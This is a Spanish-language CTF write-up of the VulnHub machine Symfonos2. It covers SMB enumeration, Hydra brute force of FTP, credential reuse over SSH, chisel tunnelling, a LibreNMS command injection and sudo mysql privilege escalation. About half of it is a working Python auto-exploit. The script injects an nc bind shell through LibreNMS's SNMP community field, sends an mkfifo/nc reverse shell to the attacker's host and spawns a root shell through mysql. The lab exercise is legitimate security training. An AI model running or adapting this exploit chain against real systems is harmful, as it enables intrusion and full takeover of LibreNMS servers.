Symfonos2 - VulnHub
Symfonos2 es una máquina vulnerable de la plataforma vulnhub. Que se centra en un servicio SAMBA que filtra información de un usuario del sistema, por lo que se procede a inicializar fuerza bruta, ya que el usuario contiene credenciales débiles. Seguido de una escalada de privilegios de2 fases, La primera es dirigida a cronos que tiene inicializado un servicio web corriendo “librenms” que es vulnerable a ejecución de código. La segunda fase es al usuario root desde el usuario cronos que posee privilegios para ejecutar mysql como “root”.
Enumeración
Empezamos con un reconocimiento de puertos y servicios a través de la herramienta nmap. En el cual logramos detectar varios servicios.
# Nmap 7.93 scan initiated Mon Oct 30 12:06:23 2023 as: nmap -sCV -p21,22,80,139,445 -oN vulnscan.nmap 192.168.56.14
Nmap scan report for 192.168.56.14
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 9df85f8720e58cfa68477d716208adb9 (RSA)
| 256 042abb0656ead1931cd2780a00469d85 (ECDSA)
|_ 256 28adacdc7e2a1cf64c6b47f2d6225b52 (ED25519)
80/tcp open http WebFS httpd 1.21
|_http-server-header: webfs/1.21
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:9F:02:FC (Oracle VirtualBox virtual NIC)
Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h20m01s, deviation: 2h53m12s, median: -3h00m01s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: SYMFONOS2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-10-30T12:06:34
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos2
| NetBIOS computer name: SYMFONOS2\x00
| Domain name: \x00
| FQDN: symfonos2
|_ System time: 2023-10-30T07:06:34-05:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 30 12:06:36 2023 -- 1 IP address (1 host up) scanned in 12.62 seconds
Analisis
Inicializamos la enumeración por el servicio SAMBA y notamos que solamente tenemos acceso como usuario nulo al directorio anonymous.
➜ content smbmap -H 192.168.56.14 -u null
[+] Guest session IP: 192.168.56.14:445 Name: 192.168.56.14
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
anonymous READ ONLY
IPC$ NO ACCESS IPC Service (Samba 4.5.16-Debian)
Al momento de conectarnos, descargamos el único archivo que se nos presenta.
➜ content smbmap -H 192.168.56.14 -u null
[+] Guest session IP: 192.168.56.14:445 Name: 192.168.56.14
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
anonymous READ ONLY
IPC$ NO ACCESS IPC Service (Samba 4.5.16-Debian)
➜ content smbclient //192.168.56.14/anonymous -U "null%null"
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jul 18 11:30:09 2019
.. D 0 Tue Oct 31 02:23:05 2023
backups D 0 Thu Jul 18 11:25:17 2019
19728000 blocks of size 1024. 16296316 blocks available
smb: \> mget backups\log.txt
Get file log.txt? y
Error opening local file backups/log.txt
smb: \> exit
En el archivlo log.txt nos brindan un usuario de sistema por lo que procedemos a ejercer fuerza bruta para conectarnos al servicio FTP, luego probamos si las credenciales se reutilizan para el servicio SSH.
➜ content hydra -l aeolus -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.14 -t 64
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-31 07:47:35
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ftp://192.168.56.14:21/
[STATUS] 7343.00 tries/min, 7343 tries in 00:01h, 14337185 to do in 32:33h, 64 active
[STATUS] 7310.67 tries/min, 21932 tries in 00:03h, 14322596 to do in 32:40h, 64 active
[21][ftp] host: 192.168.56.14 login: aeolus password: sergioteamo
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 35 final worker threads did not complete until end.
[ERROR] 35 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-31 07:51:03
Las contraseñas se reutilizan.
➜ content sshpass -p 'sergioteamo' ssh aeolus@192.168.56.14
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 31 00:53:08 2023 from 192.168.56.1
aeolus@symfonos2:~$ whoami
aeolus
Al momento de ingresar en el sistema, listamos los puertos y vemos lo siguiente.
Procedemos a descargarnos la herramienta “chisel” y trasladarla a la máquina víctima, para tener el puerto 8080 en nuestra máquina.
#wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
#client
./chisel client 192.168.56.1:8001 R:8080:127.0.0.1:8080
# Server
chisel server -p 8001 -reverse
Shell - Cronos
Ingresamos al servicio web, y vemos que esta utilizando “libresnms”. El servicio “librenms” contiene credenciales re utilizables del usuario aeolus, por lo que nos conectamos.
Buscamos exploit de “librenms” y utilizamos el primero que encontramos.
Iniciada sesión como cronos ejecutamos el comando sudo -l
cronus@symfonos2:/opt/librenms/html$ sudo -l
sudo -l
Matching Defaults entries for cronus on symfonos2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cronus may run the following commands on symfonos2:
(root) NOPASSWD: /usr/bin/mysql
Nos dirigimos a gtfbins para informarnos si hay alguna vía de elevar privilegios a root a través del programa MYSQL.
Shell - root :)
Auto Pwned
He creado un script en python3 que nos permite ingresar a la máquina según el usuario que elijamos. Para aclarar tenemos que tener acceso al puerto 8080 para que se pueda ejecutar correctamente.
import requests,re,argparse,random,socket,threading
from urllib.parse import urlencode
def data():
parser = argparse.ArgumentParser(description='Auto Pwned Symfonos-2')
parser.add_argument('-t','--target', required=True, help='Target Ip vict')
parser.add_argument('-ul','--userLogin',required=True,help='User login')
parser.add_argument('-p','--password',required=True,help='Password Login')
parser.add_argument('-u','--user', required=True, help='Users (cronos,root)')
parser.add_argument('-lp','--lport',required=True, help="Port attack")
parser.add_argument('-lh','--lhost',required=True,help="Ip attack")
args = parser.parse_args()
url = args.target
user_login=args.userLogin
password=args.password
user_system = args.user
lport = args.lport
lhost = args.lhost
return url,user_login,password,user_system,lport,lhost
def login(url,user_login,password,user_system,lport,lhost):
session = requests.Session()
url_login = url+"/login"
token_data = session.get(url_login).text
token = re.findall(r'<meta name="csrf-token" content="(.*?)">',token_data)[0]
# _token=GcWVbbJVnWKUO36bRZbsb0kkuxjB4IWCirREZDkc&username=aeolus&password=sergioteamo&submit=
data_post={
"_token":token,
"username":user_login,
"password":password,
"submit":""
}
response = session.post(url_login,data_post)
login_check = url + "/device-groups/"
check = requests.get(login_check)
if check.status_code == 200:
print("[+]Successful login")
else:
print("[-]Error login")
return session
def user_cronos(url,lport,lhost,session):
print("[+] Starting attack on cronos")
cmd= "'$(nc -lvnp 4442 -e /bin/bash &) #"
headers = {
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Content-Type":"application/x-www-form-urlencoded"
}
hostname = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(7))
data_post = {
"hostname": hostname,
"snmp": "on",
"sysName": "",
"hardware": "",
"os": "",
"snmpver": "v2c",
"os_id": "",
"port": "",
"transport": "udp",
"port_assoc_mode": "ifIndex",
"community": cmd,
"authlevel": "noAuthNoPriv",
"authname": "",
"authpass": "",
"cryptopass": "",
"authalgo": "MD5",
"cryptoalgo": "AES",
"force_add": "on",
"Submit": ""
}
url_addhost = url+"/addhost/"
data_urlencode = urlencode(data_post)
try:
response_addhost = session.post(url_addhost,data_urlencode,headers=headers,timeout=5).text
if "Device added" in response_addhost:
print("[+]Add device successful")
data_exploit = {
"id":"capture",
"format":"text",
"type":"snmpwalk",
"hostname":hostname
}
url_exploit = session.get(url=url+"/ajax_output.php",params=data_exploit,headers=headers,timeout=5)
pass
else:
print("[-] Add device error")
except:
pass
########################################################################################################
command_two="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc %s %s >/tmp/f\n"%(lhost,lport)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.14", 4442)) # Cambia la dirección y el puerto según tus necesidades
s.send(command_two.encode())
def user_root(url,lport,lhost,session):
print("[+] Starting attack on root")
cmd= "'$(nc -lvnp 4441 -e /bin/bash &) #"
headers = {
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Content-Type":"application/x-www-form-urlencoded"
}
hostname = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(7))
data_post = {
"hostname": hostname,
"snmp": "on",
"sysName": "",
"hardware": "",
"os": "",
"snmpver": "v2c",
"os_id": "",
"port": "",
"transport": "udp",
"port_assoc_mode": "ifIndex",
"community": cmd,
"authlevel": "noAuthNoPriv",
"authname": "",
"authpass": "",
"cryptopass": "",
"authalgo": "MD5",
"cryptoalgo": "AES",
"force_add": "on",
"Submit": ""
}
url_addhost = url+"/addhost/"
data_urlencode = urlencode(data_post)
try:
response_addhost = session.post(url_addhost,data_urlencode,headers=headers,timeout=5).text
if "Device added" in response_addhost:
print("[+]Add device successful")
data_exploit = {
"id":"capture",
"format":"text",
"type":"snmpwalk",
"hostname":hostname
}
url_exploit = session.get(url=url+"/ajax_output.php",params=data_exploit,headers=headers,timeout=5)
pass
else:
print("[-] Add device error")
except:
pass
########################################################################################################
command=b"sudo mysql -e '\! /bin/sh'\n"
command_two="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc %s %s >/tmp/f\n"%(lhost,lport)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.14", 4441)) # Cambia la dirección y el puerto según tus necesidades
s.send(command)
s.send(command_two.encode())
if __name__ == "__main__":
proxies = {"http":"http://127.0.0.1:8083"}
url,user_login,password,user_system,lport,lhost = data()
session = login(url,user_login,password,user_system,lport,lhost)
if user_system == "cronos":
user_cronos(url,lport,lhost,session)
else:
pass
if user_system == "root":
user_root(url,lport,lhost,session)
else:
pass